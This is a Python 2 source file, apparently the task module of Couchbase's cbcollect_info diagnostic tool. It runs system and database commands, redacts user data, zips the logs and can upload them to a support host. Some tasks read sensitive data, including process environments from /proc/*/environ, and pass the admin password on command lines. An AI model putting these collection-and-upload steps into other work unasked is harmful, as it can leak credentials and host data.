#!/usr/bin/env python # -*- python -*- import StringIO import os import sys import tempfile import time import subprocess import re import glob import gzip import socket import threading import optparse import atexit import signal import urllib import shutil import urlparse import urllib2 import base64 import mmap import hashlib import traceback class LogRedactor: def __init__(self, salt, tmpdir): self.target_dir = os.path.join(tmpdir, "redacted") os.makedirs(self.target_dir) self.couchbase_log = CouchbaseLogProcessor(salt) self.regular_log = RegularLogProcessor(salt) def _process_file(self, ifile, ofile, processor): try: with open(ifile, 'r') as inp: with open(ofile, 'w+') as out: # Write redaction header out.write(self.couchbase_log.do("RedactLevel")) for line in inp: out.write(processor.do(line)) except IOError as e: log("I/O error(%s): %s" % (e.errno, e.strerror)) def redact_file(self, name, ifile): _, filename = os.path.split(name) ofile = os.path.join(self.target_dir, filename) self._process_file(ifile, ofile, self.regular_log) return ofile def redact_string(self, istring): ostring = self.couchbase_log.do("RedactLevel") ostring += self.regular_log.do(istring) return ostring class CouchbaseLogProcessor: def __init__(self, salt): self.salt = salt def do(self, line): if "RedactLevel" in line: return 'RedactLevel:partial,HashOfSalt:%s\n' \ % hashlib.sha1(self.salt).hexdigest() else: return line class RegularLogProcessor: def __init__(self, salt): self.salt = salt self.rex = re.compile('(<ud>)(.+?)(</ud>)') def _hash(self, match): h = hashlib.sha1(self.salt + match.group(2)).hexdigest() return match.group(1) + h + match.group(3) def do(self, line): return self.rex.sub(self._hash, line) class AltExitC(object): def __init__(self): self.list = [] self.lock = threading.Lock() atexit.register(self.at_exit_handler) def register(self, f): self.lock.acquire() self.register_and_unlock(f) def register_and_unlock(self, f): try: self.list.append(f) finally: self.lock.release() def at_exit_handler(self): self.lock.acquire() self.list.reverse() for f in self.list: try: f() except Exception: pass def exit(self, status): self.at_exit_handler() os._exit(status) AltExit = AltExitC() def log(message, end='\n'): sys.stderr.write(message + end) sys.stderr.flush() class Task(object): privileged = False no_header = False num_samples = 1 interval = 0 def __init__(self, description, command, timeout=None, **kwargs): self.description = description self.command = command self.timeout = timeout self.__dict__.update(kwargs) def execute(self, fp): """Run the task""" import subprocess use_shell = not isinstance(self.command, list) if "literal" in self.__dict__: print >> fp, self.literal return 0 env = None if "addenv" in self.__dict__: env = os.environ.copy() env.update(self.addenv) try: p = subprocess.Popen(self.command, bufsize=-1, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=use_shell, env=env) except OSError as e: # if use_shell is False then Popen may raise exception # if binary is missing. In this case we mimic what # shell does. Namely, complaining to stderr and # setting non-zero status code. It's might also # automatically handle things like "failed to fork due # to some system limit". print >> fp, "Failed to execute %s: %s" % (self.command, e) return 127 p.stdin.close() from threading import Timer, Event timer = None timer_fired = Event() if self.timeout is not None and hasattr(p, 'kill'): def on_timeout(): p.kill() timer_fired.set() timer = Timer(self.timeout, on_timeout) timer.start() try: while True: data = p.stdout.read(64 * 1024) if not data: break fp.write(data) finally: if timer is not None: timer.cancel() timer.join() # there's a tiny chance that command succeeds just before # timer is fired; that would result in a spurious timeout # message if timer_fired.isSet(): print >> fp, "`%s` timed out after %s seconds" % (self.command, self.timeout) return p.wait() def will_run(self): """Determine if this task will run on this platform.""" return sys.platform in self.platforms class PythonTask(object): """ A task that takes a python function as an argument rather than an OS command. These will run on any platform. """ privileged = False no_header = False num_samples = 1 interval = 0 def __init__(self, description, callable, timeout=None, **kwargs): self.description = description self.callable = callable self.command = "pythontask" self.timeout = timeout self.log_exception = False # default to false, may be overridden by val in **kwargs self.__dict__.update(kwargs) def execute(self, fp): """Run the task""" print("log_file: {0}. ".format(self.log_file)) try: result = self.callable() fp.write(result) return 0 except Exception as e: if self.log_exception: print("Exception executing python task: {0}".format(e)) return 1 def will_run(self): """Determine if this task will run on this platform.""" return True class TaskRunner(object): def __init__(self, verbosity=0, default_name="couchbase.log", tmp_dir=None): self.files = {} self.tasks = {} self.verbosity = verbosity self.start_time = time.strftime("%Y%m%d-%H%M%S", time.gmtime()) self.default_name = default_name if not tmp_dir: tmp_dir = None else: tmp_dir = os.path.abspath(os.path.expanduser(tmp_dir)) try: self.tmpdir = tempfile.mkdtemp(dir=tmp_dir) except OSError as e: print "Could not use temporary dir {0}: {1}".format(tmp_dir, e) sys.exit(1) # If a dir wasn't passed by --tmp-dir, check if the env var was set and if we were able to use it if not tmp_dir and os.getenv("TMPDIR") and os.path.split(self.tmpdir)[0] != os.getenv("TMPDIR"): log("Could not use TMPDIR {0}".format(os.getenv("TMPDIR"))) log("Using temporary dir {0}".format(os.path.split(self.tmpdir)[0])) AltExit.register(self.finalize) def finalize(self): try: for fp in self.files.iteritems(): fp.close() except Exception: pass shutil.rmtree(self.tmpdir, ignore_errors=True) def collect_file(self, filename): """Add a file to the list of files collected. Used to capture the exact file (including timestamps) from the Couchbase instance. filename - Absolute path to file to collect. """ if filename not in self.files: self.files[filename] = open(filename, 'r') else: log("Unable to collect file '{0}' - already collected.".format( filename)) def get_file(self, filename): if filename in self.files: fp = self.files[filename] else: fp = open(os.path.join(self.tmpdir, filename), 'w+') self.files[filename] = fp return fp def header(self, fp, title, subtitle): separator = '=' * 78 print >> fp, separator print >> fp, title print >> fp, subtitle print >> fp, separator fp.flush() def log_result(self, result): if result == 0: log("OK") else: log("Exit code %d" % result) def run(self, task): """Run a task with a file descriptor corresponding to its log file""" if task.will_run(): if hasattr(task, 'command_to_print'): command_to_print = task.command_to_print else: command_to_print = task.command log("%s (%s) - " % (task.description, command_to_print), end='') if task.privileged and os.getuid() != 0: log("skipped (needs root privs)") return if hasattr(task, 'log_file'): filename = task.log_file else: filename = self.default_name fp = self.get_file(filename) if not task.no_header: self.header(fp, task.description, command_to_print) for i in range(task.num_samples): if i > 0: log("Taking sample %d after %f seconds - " % (i+1, task.interval), end='') time.sleep(task.interval) result = task.execute(fp) self.log_result(result) fp.flush() elif self.verbosity >= 2: log('Skipping "%s" (%s): not for platform %s' % (task.description, task.command_to_print, sys.platform)) def redact_and_zip(self, filename, log_type, salt, node): files = [] redactor = LogRedactor(salt, self.tmpdir) for name, fp in self.files.iteritems(): if not (".gz" in name or "expvars.json" in name or os.path.basename(name) == "sync_gateway"): files.append(redactor.redact_file(name, fp.name)) else: files.append(fp.name) prefix = "%s_%s_%s" % (log_type, node, self.start_time) self._zip_helper(prefix, filename, files) def zip(self, filename, log_type, node): files = [] for name, fp in self.files.iteritems(): files.append(fp.name) prefix = "%s_%s_%s" % (log_type, node, self.start_time) self._zip_helper(prefix, filename, files) def close_all_files(self): for name, fp in self.files.iteritems(): fp.close() def _zip_helper(self, prefix, filename, files): """Write all our logs to a zipfile""" # Get absolute path to gozip relative to this file exe = os.path.abspath(os.path.join(os.path.dirname(__file__), exec_name("gozip"))) # Don't have gozip relative to this file, try and see if there's one elsewhere in $PATH if not os.path.isfile(exe): exe = exec_name("gozip") fallback = False try: p = subprocess.Popen([exe, "-strip-path", "-prefix", prefix, filename] + files, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) p.stdin.close() status = p.wait() if status != 0: log("gozip terminated with non-zero exit code (%d)" % status) except OSError as e: log("Exception during compression: %s" % e) fallback = True if fallback: log("IMPORTANT:") log(" Compression using gozip failed.") log(" Falling back to python implementation.") log(" Please let us know about this and provide console output.") self._zip_fallback(filename, prefix, files) def _zip_fallback(self, filename, prefix, files): from zipfile import ZipFile, ZIP_DEFLATED zf = ZipFile(filename, mode='w', compression=ZIP_DEFLATED) try: for name in files: zf.write(name, "%s/%s" % (prefix, os.path.basename(name))) finally: zf.close() class SolarisTask(Task): platforms = ['sunos5', 'solaris'] class LinuxTask(Task): platforms = ['linux2'] class WindowsTask(Task): platforms = ['win32', 'cygwin'] class MacOSXTask(Task): platforms = ['darwin'] class UnixTask(SolarisTask, LinuxTask, MacOSXTask): platforms = SolarisTask.platforms + LinuxTask.platforms + MacOSXTask.platforms class AllOsTask(UnixTask, WindowsTask): platforms = UnixTask.platforms + WindowsTask.platforms def make_curl_task(name, url, user="", password="", content_postprocessors=[], timeout=60, log_file="python_curl.log", **kwargs): """ NOTE: this used to use curl but was later reworked to use pure python in order to be more cross platform, since Windows doesn't ship with curl The content_postprocessors is a list of functions that: - Are given a string as their only parameter - Return a string as their only return value For example: def reverser(s): return s[::-1] # reverse string They are run in order. This allows for stripping out passwords and other sensitive info """ def python_curl_task(): r = urllib2.Request(url=url) if len(user) > 0: base64string = base64.encodestring('%s:%s' % (user, password)).replace('\n', '') r.add_header("Authorization", "Basic %s" % base64string) response_file_handle = urllib2.urlopen(r, timeout=timeout) response_string = response_file_handle.read() for content_postprocessor in content_postprocessors: response_string = content_postprocessor(response_string) return response_string return PythonTask( description=name, callable=python_curl_task, log_file=log_file, **kwargs ) def add_gzip_file_task(sourcefile_path, salt, content_postprocessors=[]): """ Adds the extracted contents of a file to the output zip The content_postprocessors is a list of functions -- see make_curl_task """ def python_add_file_task(): with gzip.open(sourcefile_path, 'r') as infile: contents = infile.read() for content_postprocessor in content_postprocessors: contents = content_postprocessor(contents) redactor = LogRedactor(salt, tempfile.mkdtemp()) contents = redactor.redact_string(contents) out = StringIO.StringIO() with gzip.GzipFile(fileobj=out, mode="w") as f: f.write(contents) return out.getvalue() log_file = os.path.basename(sourcefile_path) task = PythonTask( description="Extracted contents of {0}".format(sourcefile_path), callable=python_add_file_task, log_file=log_file, log_exception=False, ) task.no_header = True return task def add_file_task(sourcefile_path, content_postprocessors=[]): """ Adds the contents of a file to the output zip The content_postprocessors is a list of functions -- see make_curl_task """ def python_add_file_task(): with open(sourcefile_path, 'r') as infile: contents = infile.read() for content_postprocessor in content_postprocessors: contents = content_postprocessor(contents) return contents task = PythonTask( description="Contents of {0}".format(sourcefile_path), callable=python_add_file_task, log_file=os.path.basename(sourcefile_path), log_exception=False, ) return task def make_query_task(statement, user, password, port): url = "http://127.0.0.1:%s/query/service?statement=%s" % (port, urllib.quote(statement)) return make_curl_task(name="Result of query statement \'%s\'" % statement, user=user, password=password, url=url) def basedir(): mydir = os.path.dirname(sys.argv[0]) if mydir == "": mydir = "." return mydir def make_event_log_task(): from datetime import datetime, timedelta # I found that wmic ntevent can be extremely slow; so limiting the output # to approximately last month limit = datetime.today() - timedelta(days=31) limit = limit.strftime('%Y%m%d000000.000000-000') return WindowsTask("Event log", "wmic ntevent where " "\"" "(LogFile='application' or LogFile='system') and " "EventType<3 and TimeGenerated>'%(limit)s'" "\" " "get TimeGenerated,LogFile,SourceName,EventType,Message " "/FORMAT:list" % locals()) def make_event_log_task_sg_info(): from datetime import datetime, timedelta # I found that wmic ntevent can be extremely slow; so limiting the output # to approximately last month limit = datetime.today() - timedelta(days=31) limit = limit.strftime('%Y%m%d000000.000000-000') return WindowsTask("SG Event log", "wmic ntevent where " "\"" "SourceName='SyncGateway' and " "TimeGenerated>'%(limit)s'" "\" " "get TimeGenerated,LogFile,SourceName,EventType,Message " "/FORMAT:list" % locals()) def make_os_tasks(processes): programs = " ".join(processes) _tasks = [ UnixTask("uname", "uname -a"), UnixTask("time and TZ", "date; date -u"), UnixTask("ntp time", "ntpdate -q pool.ntp.org || " "nc time.nist.gov 13 || " "netcat time.nist.gov 13"), UnixTask("ntp peers", "ntpq -p"), UnixTask("raw /etc/sysconfig/clock", "cat /etc/sysconfig/clock"), UnixTask("raw /etc/timezone", "cat /etc/timezone"), WindowsTask("System information", "systeminfo"), WindowsTask("Computer system", "wmic computersystem"), WindowsTask("Computer OS", "wmic os"), LinuxTask("System Hardware", "lshw -json || lshw"), SolarisTask("Process list snapshot", "prstat -a -c -n 100 -t -v -L 1 10"), SolarisTask("Process list", "ps -ef"), SolarisTask("Service configuration", "svcs -a"), SolarisTask("Swap configuration", "swap -l"), SolarisTask("Disk activity", "zpool iostat 1 10"), SolarisTask("Disk activity", "iostat -E 1 10"), LinuxTask("Process list snapshot", "export TERM=''; top -Hb -n1 || top -H n1"), LinuxTask("Process list", "ps -AwwL -o user,pid,lwp,ppid,nlwp,pcpu,maj_flt,min_flt,pri,nice,vsize,rss,tty,stat,wchan:12,start,bsdtime,command"), LinuxTask("Raw /proc/vmstat", "cat /proc/vmstat"), LinuxTask("Raw /proc/mounts", "cat /proc/mounts"), LinuxTask("Raw /proc/partitions", "cat /proc/partitions"), LinuxTask("Raw /proc/diskstats", "cat /proc/diskstats; echo ''", num_samples=10, interval=1), LinuxTask("Raw /proc/interrupts", "cat /proc/interrupts"), LinuxTask("Swap configuration", "free -t"), LinuxTask("Swap configuration", "swapon -s"), LinuxTask("Kernel modules", "lsmod"), LinuxTask("Distro version", "cat /etc/redhat-release"), LinuxTask("Distro version", "lsb_release -a"), LinuxTask("Distro version", "cat /etc/SuSE-release"), LinuxTask("Distro version", "cat /etc/issue"), LinuxTask("Installed software", "rpm -qa"), # NOTE: AFAIK columns _was_ necessary, but it doesn't appear to be # required anymore. I.e. dpkg -l correctly detects stdout as not a # tty and stops playing smart on formatting. Lets keep it for few # years and then drop, however. LinuxTask("Installed software", "COLUMNS=300 dpkg -l"), LinuxTask("Extended iostat", "iostat -x -p ALL 1 10 || iostat -x 1 10"), LinuxTask("Core dump settings", "find /proc/sys/kernel -type f -name '*core*' -print -exec cat '{}' ';'"), UnixTask("sysctl settings", "sysctl -a"), LinuxTask("Relevant lsof output", "echo %(programs)s | xargs -n1 pgrep | xargs -n1 -r -- lsof -n -p" % locals()), LinuxTask("LVM info", "lvdisplay"), LinuxTask("LVM info", "vgdisplay"), LinuxTask("LVM info", "pvdisplay"), MacOSXTask("Process list snapshot", "top -l 1"), MacOSXTask("Disk activity", "iostat 1 10"), MacOSXTask("Process list", "ps -Aww -o user,pid,lwp,ppid,nlwp,pcpu,pri,nice,vsize,rss,tty," "stat,wchan:12,start,bsdtime,command"), WindowsTask("Installed software", "wmic product get name, version"), WindowsTask("Service list", "wmic service where state=\"running\" GET caption, name, state"), WindowsTask("Process list", "wmic process"), WindowsTask("Process usage", "tasklist /V /fo list"), WindowsTask("Swap settings", "wmic pagefile"), WindowsTask("Disk partition", "wmic partition"), WindowsTask("Disk volumes", "wmic volume"), UnixTask("Network configuration", "ifconfig -a", interval=10, num_samples=2), LinuxTask("Network configuration", "echo link addr neigh rule route netns | xargs -n1 -- sh -x -c 'ip $1 list' --"), WindowsTask("Network configuration", "ipconfig /all", interval=10, num_samples=2), LinuxTask("Raw /proc/net/dev", "cat /proc/net/dev"), LinuxTask("Network link statistics", "ip -s link"), UnixTask("Network status", "netstat -anp || netstat -an"), WindowsTask("Network status", "netstat -ano"), AllOsTask("Network routing table", "netstat -rn"), LinuxTask("Network socket statistics", "ss -an"), LinuxTask("Extended socket statistics", "ss -an --info --processes"), UnixTask("Arp cache", "arp -na"), LinuxTask("Iptables dump", "iptables-save"), UnixTask("Raw /etc/hosts", "cat /etc/hosts"), UnixTask("Raw /etc/resolv.conf", "cat /etc/resolv.conf"), UnixTask("Raw /etc/nsswitch.conf", "cat /etc/nsswitch.conf"), WindowsTask("Arp cache", "arp -a"), WindowsTask("Network Interface Controller", "wmic nic"), WindowsTask("Network Adapter", "wmic nicconfig"), WindowsTask("Active network connection", "wmic netuse"), WindowsTask("Protocols", "wmic netprotocol"), WindowsTask("Hosts file", "type %SystemRoot%\system32\drivers\etc\hosts"), WindowsTask("Cache memory", "wmic memcache"), WindowsTask("Physical memory", "wmic memphysical"), WindowsTask("Physical memory chip info", "wmic memorychip"), WindowsTask("Local storage devices", "wmic logicaldisk"), UnixTask("Filesystem", "df -ha"), UnixTask("System activity reporter", "sar 1 10"), UnixTask("System paging activity", "vmstat 1 10"), UnixTask("System uptime", "uptime"), UnixTask("couchbase user definition", "getent passwd couchbase"), UnixTask("couchbase user limits", "su couchbase -c \"ulimit -a\"", privileged=True), UnixTask("couchbase user limits", "su couchbase -c \"ulimit -a\"", privileged=True), UnixTask("Interrupt status", "intrstat 1 10"), UnixTask("Processor status", "mpstat 1 10"), UnixTask("System log", "cat /var/adm/messages"), LinuxTask("Raw /proc/uptime", "cat /proc/uptime"), LinuxTask("Systemd journal", "journalctl 2>&1 | gzip -c", log_file="systemd_journal.gz", no_header=True), LinuxTask("All logs", "tar cz /var/log/syslog* /var/log/dmesg /var/log/messages* /var/log/daemon* /var/log/debug* /var/log/kern.log* 2>/dev/null", log_file="syslog.tar.gz", no_header=True), LinuxTask("Relevant proc data", "echo %(programs)s | " "xargs -n1 pgrep | xargs -n1 -- sh -c 'echo $1; cat /proc/$1/status; cat /proc/$1/limits; cat /proc/$1/smaps; cat /proc/$1/numa_maps; cat /proc/$1/task/*/sched; echo' --" % locals()), LinuxTask("Processes' environment", "echo %(programs)s | " r"xargs -n1 pgrep | xargs -n1 -- sh -c 'echo $1; ( cat /proc/$1/environ | tr \\0 \\n ); echo' --" % locals()), LinuxTask("NUMA data", "numactl --hardware"), LinuxTask("NUMA data", "numactl --show"), LinuxTask("NUMA data", "cat /sys/devices/system/node/node*/numastat"), UnixTask("Kernel log buffer", "dmesg -H || dmesg"), LinuxTask("Transparent Huge Pages data", "cat /sys/kernel/mm/transparent_hugepage/enabled"), LinuxTask("Transparent Huge Pages data", "cat /sys/kernel/mm/transparent_hugepage/defrag"), LinuxTask("Transparent Huge Pages data", "cat /sys/kernel/mm/redhat_transparent_hugepage/enabled"), LinuxTask("Transparent Huge Pages data", "cat /sys/kernel/mm/redhat_transparent_hugepage/defrag"), LinuxTask("Network statistics", "netstat -s"), LinuxTask("Full raw netstat", "cat /proc/net/netstat"), LinuxTask("CPU throttling info", "echo /sys/devices/system/cpu/cpu*/thermal_throttle/* | xargs -n1 -- sh -c 'echo $1; cat $1' --"), make_event_log_task(), make_event_log_task_sg_info(), ] return _tasks # stolen from http://rightfootin.blogspot.com/2006/09/more-on-python-flatten.html def iter_flatten(iterable): it = iter(iterable) for e in it: if isinstance(e, (list, tuple)): for f in iter_flatten(e): yield f else: yield e def flatten(iterable): return [e for e in iter_flatten(iterable)] def read_guts(guts, key): return guts.get(key, "") def winquote_path(s): return '"'+s.replace("\\\\", "\\").replace('/', "\\")+'"' # python's split splits empty string to [''] which doesn't make any # sense. So this function works around that. def correct_split(string, splitchar): rv = string.split(splitchar) if rv == ['']: rv = [] return rv def make_stats_archives_task(guts, initargs_path): escript = exec_name("escript") escript_wrapper = find_script("escript-wrapper") dump_stats = find_script("dump-stats") stats_dir = read_guts(guts, "stats_dir") if dump_stats is None or escript_wrapper is None or not stats_dir: return [] return AllOsTask("stats archives", [escript, escript_wrapper, "--initargs-path", initargs_path, "--", dump_stats, stats_dir], no_header=True, log_file="stats_archives.json") def make_product_task(guts, initargs_path, options): root = os.path.abspath(os.path.join(initargs_path, "..", "..", "..", "..")) dbdir = read_guts(guts, "db_dir") viewdir = read_guts(guts, "idx_dir") diag_url = "http://127.0.0.1:%s/diag?noLogs=1" % read_guts(guts, "rest_port") if options.single_node_diag: diag_url += "&oneNode=1" from distutils.spawn import find_executable lookup_cmd = None for cmd in ["dig", "nslookup", "host"]: if find_executable(cmd) is not None: lookup_cmd = cmd break lookup_tasks = [] if lookup_cmd is not None: lookup_tasks = [UnixTask("DNS lookup information for %s" % node, "%(lookup_cmd)s '%(node)s'" % locals()) for node in correct_split(read_guts(guts, "nodes"), ",")] query_tasks = [] query_port = read_guts(guts, "query_port") if query_port: def make(statement): return make_query_task(statement, user="@", password=read_guts(guts, "memcached_pass"), port=query_port) query_tasks = [make("SELECT * FROM system:datastores"), make("SELECT * FROM system:namespaces"), make("SELECT * FROM system:keyspaces"), make("SELECT * FROM system:indexes")] index_tasks = [] index_port = read_guts(guts, "indexer_http_port") if index_port: url = 'http://127.0.0.1:%s/getIndexStatus' % index_port index_tasks = [make_curl_task(name="Index definitions are: ", user="@", password=read_guts(guts, "memcached_pass"), url=url)] fts_tasks = [] fts_port = read_guts(guts, "fts_http_port") if fts_port: url = 'http://127.0.0.1:%s/api/diag' % fts_port fts_tasks = [make_curl_task(name="FTS /api/diag: ", user="@", password=read_guts(guts, "memcached_pass"), url=url)] _tasks = [ UnixTask("Directory structure", ["ls", "-lRai", root]), UnixTask("Database directory structure", ["ls", "-lRai", dbdir]), UnixTask("Index directory structure", ["ls", "-lRai", viewdir]), UnixTask("couch_dbinfo", ["find", dbdir, "-type", "f", "-name", "*.couch.*", "-exec", "couch_dbinfo", "{}", "+"]), LinuxTask("Database directory filefrag info", ["find", dbdir, "-type", "f", "-exec", "filefrag", "-v", "{}", "+"]), LinuxTask("Index directory filefrag info", ["find", viewdir, "-type", "f", "-exec", "filefrag", "-v", "{}", "+"]), WindowsTask("Database directory structure", "dir /s " + winquote_path(dbdir)), WindowsTask("Index directory structure", "dir /s " + winquote_path(viewdir)), WindowsTask("Version file", "type " + winquote_path(basedir()) + "\\..\\VERSION.txt"), WindowsTask("Manifest file", "type " + winquote_path(basedir()) + "\\..\\manifest.txt"), WindowsTask("Manifest file", "type " + winquote_path(basedir()) + "\\..\\manifest.xml"), LinuxTask("Version file", "cat '%s/VERSION.txt'" % root), LinuxTask("Manifest file", "cat '%s/manifest.txt'" % root), LinuxTask("Manifest file", "cat '%s/manifest.xml'" % root), AllOsTask("Couchbase config", "", literal=read_guts(guts, "ns_config")), AllOsTask("Couchbase static config", "", literal=read_guts(guts, "static_config")), AllOsTask("Raw ns_log", "", literal=read_guts(guts, "ns_log")), # TODO: just gather those in python WindowsTask("Memcached logs", "cd " + winquote_path(read_guts(guts, "memcached_logs_path")) + " && " + "for /f %a IN ('dir /od /b memcached.log.*') do type %a", log_file="memcached.log"), UnixTask("Memcached logs", ["sh", "-c", 'cd "$1"; for file in $(ls -tr memcached.log.*); do cat \"$file\"; done', "--", read_guts(guts, "memcached_logs_path")], log_file="memcached.log"), [WindowsTask("Ini files (%s)" % p, "type " + winquote_path(p), log_file="ini.log") for p in read_guts(guts, "couch_inis").split(";")], UnixTask("Ini files", ["sh", "-c", 'for i in "$@"; do echo "file: $i"; cat "$i"; done', "--"] + read_guts(guts, "couch_inis").split(";"), log_file="ini.log"), make_curl_task(name="couchbase diags", user="@", password=read_guts(guts, "memcached_pass"), timeout=600, url=diag_url, log_file="diag.log"), make_curl_task(name="master events", user="@", password=read_guts(guts, "memcached_pass"), timeout=300, url='http://127.0.0.1:%s/diag/masterEvents?o=1' % read_guts(guts, "rest_port"), log_file="master_events.log", no_header=True), make_curl_task(name="ale configuration", user="@", password=read_guts(guts, "memcached_pass"), url='http://127.0.0.1:%s/diag/ale' % read_guts(guts, "rest_port"), log_file="couchbase.log"), [AllOsTask("couchbase logs (%s)" % name, "cbbrowse_logs %s" % name, addenv=[("REPORT_DIR", read_guts(guts, "log_path"))], log_file="ns_server.%s" % name) for name in ["debug.log", "info.log", "error.log", "couchdb.log", "xdcr.log", "xdcr_errors.log", "views.log", "mapreduce_errors.log", "stats.log", "babysitter.log", "ssl_proxy.log", "reports.log", "xdcr_trace.log", "http_access.log", "http_access_internal.log", "ns_couchdb.log", "goxdcr.log", "query.log", "projector.log", "indexer.log", "fts.log", "metakv.log"]], [AllOsTask("memcached stats %s" % kind, flatten(["cbstats", "-a", "127.0.0.1:%s" % read_guts(guts, "memcached_port"), kind, "-b", read_guts(guts, "memcached_admin"), "-p", read_guts(guts, "memcached_pass")]), log_file="stats.log", timeout=60) for kind in ["all", "allocator", "checkpoint", "config", "dcp", "dcpagg", ["diskinfo", "detail"], ["dispatcher", "logs"], "failovers", ["hash", "detail"], "kvstore", "kvtimings", "memory", "prev-vbucket", "runtimes", "scheduler", "tap", "tapagg", "timings", "uuid", "vbucket", "vbucket-details", "vbucket-seqno", "warmup", "workload"]], [AllOsTask("memcached mcstat %s" % kind, flatten(["mcstat", "-h", "127.0.0.1:%s" % read_guts(guts, "memcached_port"), "-u", read_guts(guts, "memcached_admin"), "-P", read_guts(guts, "memcached_pass"), kind]), log_file="stats.log", timeout=60) for kind in ["connections"]], [AllOsTask("ddocs for %s (%s)" % (bucket, path), ["couch_dbdump", path], log_file="ddocs.log") for bucket in set(correct_split(read_guts(guts, "buckets"), ",")) - set(correct_split(read_guts(guts, "memcached_buckets"), ",")) for path in glob.glob(os.path.join(dbdir, bucket, "master.couch*"))], [AllOsTask("replication docs (%s)" % (path), ["couch_dbdump", path], log_file="ddocs.log") for path in glob.glob(os.path.join(dbdir, "_replicator.couch*"))], [AllOsTask("Couchstore local documents (%s, %s)" % (bucket, os.path.basename(path)), ["couch_dbdump", "--local", path], log_file="couchstore_local.log") for bucket in set(correct_split(read_guts(guts, "buckets"), ",")) - set(correct_split(read_guts(guts, "memcached_buckets"), ",")) for path in glob.glob(os.path.join(dbdir, bucket, "*.couch.*"))], [UnixTask("moxi stats (port %s)" % port, "echo stats proxy | nc 127.0.0.1 %s" % port, log_file="stats.log", timeout=60) for port in correct_split(read_guts(guts, "moxi_ports"), ",")], [AllOsTask("mctimings", ["mctimings", "-u", read_guts(guts, "memcached_admin"), "-P", read_guts(guts, "memcached_pass"), "-h", "127.0.0.1:%s" % read_guts(guts, "memcached_port"), "-v"] + stat, log_file="stats.log", timeout=60) for stat in ([], ["subdoc_execute"])], make_stats_archives_task(guts, initargs_path) ] _tasks = flatten([lookup_tasks, query_tasks, index_tasks, fts_tasks, _tasks]) return _tasks def find_script(name): dirs = [basedir(), os.path.join(basedir(), "scripts")] for d in dirs: path = os.path.join(d, name) if os.path.exists(path): log("Found %s: %s" % (name, path)) return path return None def get_server_guts(initargs_path): dump_guts_path = find_script("dump-guts") if dump_guts_path is None: log("Couldn't find dump-guts script. Some information will be missing") return {} escript = exec_name("escript") extra_args = os.getenv("EXTRA_DUMP_GUTS_ARGS") args = [escript, dump_guts_path, "--initargs-path", initargs_path] if extra_args: args = args + extra_args.split(";") print("Checking for server guts in %s..." % initargs_path) p = subprocess.Popen(args, stdout=subprocess.PIPE) output = p.stdout.read() p.wait() # print("args: %s gave rc: %d and:\n\n%s\n" % (args, rc, output)) tokens = output.rstrip("\0").split("\0") d = {} if len(tokens) > 1: for i in range(0, len(tokens), 2): d[tokens[i]] = tokens[i+1] return d def guess_utility(command): if isinstance(command, list): command = ' '.join(command) if not command: return None if re.findall(r'[|;&]|\bsh\b|\bsu\b|\bfind\b|\bfor\b', command): # something hard to easily understand; let the human decide return command else: return command.split()[0] def dump_utilities(*args, **kwargs): specific_platforms = {SolarisTask: 'Solaris', LinuxTask: 'Linux', WindowsTask: 'Windows', MacOSXTask: 'Mac OS X'} platform_utils = dict((name, set()) for name in specific_platforms.values()) class FakeOptions(object): def __getattr__(self, name): return None tasks = make_os_tasks() + make_product_task({}, "", FakeOptions()) for task in tasks: utility = guess_utility(task.command) if utility is None: continue for (platform, name) in specific_platforms.items(): if isinstance(task, platform): platform_utils[name].add(utility) print("This is an autogenerated, possibly incomplete and flawed list of utilites used by cbcollect_info") for (name, utilities) in sorted(platform_utils.items(), key=lambda x: x[0]): print("\n%s:" % name) for utility in sorted(utilities): print(" - %s" % utility) sys.exit(0) def setup_stdin_watcher(): def _in_thread(): sys.stdin.readline() AltExit.exit(2) th = threading.Thread(target=_in_thread) th.setDaemon(True) th.start() class CurlKiller: def __init__(self, p): self.p = p def cleanup(self): if self.p is not None: print("Killing curl...") os.kill(self.p.pid, signal.SIGKILL) print("done") def disarm(self): self.p = None def do_upload_and_exit(path, url, proxy): f = open(path, 'rb') # mmap the file to reduce the amount of memory required (see bit.ly/2aNENXC) filedata = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ) # Get proxies from environment/system proxy_handler = urllib2.ProxyHandler(urllib.getproxies()) if proxy != "": # unless a proxy is explicitly passed, then use that instead proxy_handler = urllib2.ProxyHandler({'https': proxy, 'http': proxy}) opener = urllib2.build_opener(proxy_handler) request = urllib2.Request(url.encode('utf-8'), data=filedata) request.add_header(str('Content-Type'), str('application/zip')) request.get_method = lambda: str('PUT') exit_code = 0 try: url = opener.open(request) if url.getcode() == 200: log('Done uploading') else: raise Exception('Error uploading, expected status code 200, got status code: {0}'.format(url.getcode())) except Exception as e: log(traceback.format_exc()) exit_code = 1 filedata.close() f.close() sys.exit(exit_code) def parse_host(host): url = urlparse.urlsplit(host) if not url.scheme: url = urlparse.urlsplit('https://' + host) return url.scheme, url.netloc, url.path def generate_upload_url(parser, options, zip_filename): upload_url = None if options.upload_host: if not options.upload_customer: parser.error("Need --customer when --upload-host is given") scheme, netloc, path = parse_host(options.upload_host) customer = urllib.quote(options.upload_customer) fname = urllib.quote(os.path.basename(zip_filename)) if options.upload_ticket: full_path = '%s/%s/%d/%s' % (path, customer, options.upload_ticket, fname) else: full_path = '%s/%s/%s' % (path, customer, fname) upload_url = urlparse.urlunsplit((scheme, netloc, full_path, '', '')) log("Will upload collected .zip file into %s" % upload_url) return upload_url def check_ticket(option, opt, value): if re.match('^\d{1,7}$', value): return int(value) else: raise optparse.OptionValueError( "option %s: invalid ticket number: %r" % (opt, value)) class CbcollectInfoOptions(optparse.Option): from copy import copy TYPES = optparse.Option.TYPES + ("ticket",) TYPE_CHECKER = copy(optparse.Option.TYPE_CHECKER) TYPE_CHECKER["ticket"] = check_ticket def find_primary_addr(default=None): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: try: s.connect(("8.8.8.8", 56)) addr, port = s.getsockname() return addr except socket.error: return default finally: s.close() def exec_name(name): if sys.platform == 'win32': name += ".exe" return name
main.py
